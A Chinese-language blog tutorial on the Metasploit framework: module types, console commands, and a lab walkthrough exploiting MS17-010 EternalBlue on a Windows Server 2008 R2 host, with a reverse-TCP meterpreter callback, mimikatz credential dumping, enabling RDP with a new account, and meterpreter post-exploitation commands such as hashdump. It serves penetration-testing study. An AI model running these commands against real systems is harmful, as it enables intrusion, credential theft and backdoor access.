渗透神器Metasploit

一、Metasploit框架介绍

       Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
       我们能够通过它发现漏洞并进行快速实施攻击,当然需要在授权的情况下

二、Metasploit模块介绍

综合渗透测试框架

MSF所用功能可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程

模块名 模块名 描述
Auxiliary 辅助模块 为渗透测试信息搜集提供了大量的辅助模块支持
Exploits 攻击模块 利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件
Payload 攻击载荷模块 攻击成功后促使靶机运行的一段植入代码
Post 后渗透攻击模块 收集更多信息或进一步访问被利用的目标系统
Encoders 编码模块 将攻击载荷进行编码,来绕过防护软件拦截


三、MSF-基础指令

命令 描述
help/? 帮助菜单
exit 退出MSF控制台
Back 返回上一级
info 显示一个或者多个模块的信息
show 显示所给类型的模块
background 将当前操作在后台运行
use 使用所选择的模块
set 设置选项
unset 取消设置的选项
session 会话
use 使用所选择的模块

使用MSF前先打开数据库

开启数据库:service postgresql start

如果不开启数据库也可以,不过关于数据库的命令用不了

初始化MSF数据库:msfdb init

开启MSF:msfconsole

查看数据连接状态:db_status



常用模块讲解

Auxiliary 模块: show auxiliary

Rank表示好用级别:normal(正常),excellent(优秀),good(良好),average(平均)

命名规则:功能/服务/名称 scanner/smb/smb_ms17_010

Exploits 模块: show exploits
命名规则:操作系统/服务/名称 windows/smb/ms17_010_eternalblue

Payload 模块:show payloads
命名规则:操作系统/类型/名称 windows/x64/meterpreter/reverse_tcp



MSF搜索模块

根据名称搜索 : search ms17_010



MSF设置模块

设置模块:use auxiliary/scanner/smb/smb_ms17_010

查看选项:options





四、MSF攻击流程

Ping下需要攻击的目标地址 ping 192.168.2.168

指定ping四次 ping 192.168.2.168 -c 4

扫描目标地址端口有没有开启,永恒之蓝端口445,文件共享服务端口
db_nmap 192.168.2.168 -p 445,-p指定445端口

发现目标机器开启了445端口,查看hosts,发现目标地址已经存在这里了

搜索下永恒之蓝模块名字

search ms17_010

使用辅助模块来扫描,看到了SMB REC,扫描下看有没有远程命令执行漏洞

use auxiliary/scanner/smb/smb_ms17_010

options,查看需要设置什么,一般都是设置yes

需要设置一个路径,这个路径就是字典文件,MSF已经设置好了,所以不需要设置

RHOSTS目标服务器地址,远程主机的地址,需要设置成目标地址

目标端口

SMB线程

用户名和密码都是不需要设置的,因为MSF利用远程命令执行这个漏洞去攻击

设置RHOSTS,最简单就是set rhosts 192.168.2.168

也可以利用hosts扫描到的数据库里面有的,直接hosts -R也可以

使用run或者exploit都是可以攻击的

发现了绿色的[+],说明可能存在MS17-010 漏洞的,同时也看到这台目标服务器的相关资料,操作系统是windows server 2008 R2 64位的,MSF自带的只能攻击64位的

接下来使用攻击模块

search ms17

发现有两个攻击模块可以使用,这里使用一个ms17_010_eternalblue

直接use 8,进入到攻击模块

设置payload,先查看show payloads

反向连接tcp,因为不知道服务器有没有网

使用meterpreter

set payload windows/x64/meterpreter/reverse_tcp

options 查看下还要设置什么

需要设置本机ip地址和目标地址

set lhost 192.168.2.250

set rhosts 192.168.2.168

设置好后现在就可以直接攻击了

run

getuid查看下成功没

拿到了SYSTEM的权限,NT是windows

shell看看,进入目标机器的CMD命令

load mimikatz ,加载mimikatz

kerberos,读取目标机器用户的凭证,明文密码

background,把会话放在后台

db_nmap 192.168.2.168 -p 3389,扫描下端口,看能不能远程登录

端口没开启,使用post模块,通过修改注册表来开启目标端口

search enable_rdp,rdp表示远程登录服务

use 0

options,看需要设置什么

在system权限上,把目标的3389转发到本地的3389,再通过3389连接,可以新建账户密码,session就是我们刚刚保留的会话,通过这个会话开启服务器目标的端口和用户名和密码

set password 1234.a

set session 1

set username abc

run,攻击下

db_nmap 192.168.2.168 -p 3389,扫描下看开放没

rdesktop 192.168.2.168,远程登录



五、后渗透工具 - meterpreter

查看用户权限: meterpreter> getuid

获取hash密码: meterpreter> hashdump

上传文件: meterpreter> upload

执行文件: meterpreter> execute -f notepad.exe

获取屏幕截图:meterpreter>screenshot

获取shell:meterpreter>shell

  声明:请勿用作违法用途,请在授权情况下使用
posted @ 2021-02-14 12:56  Tkb-  阅读(710)  评论(0编辑  收藏  举报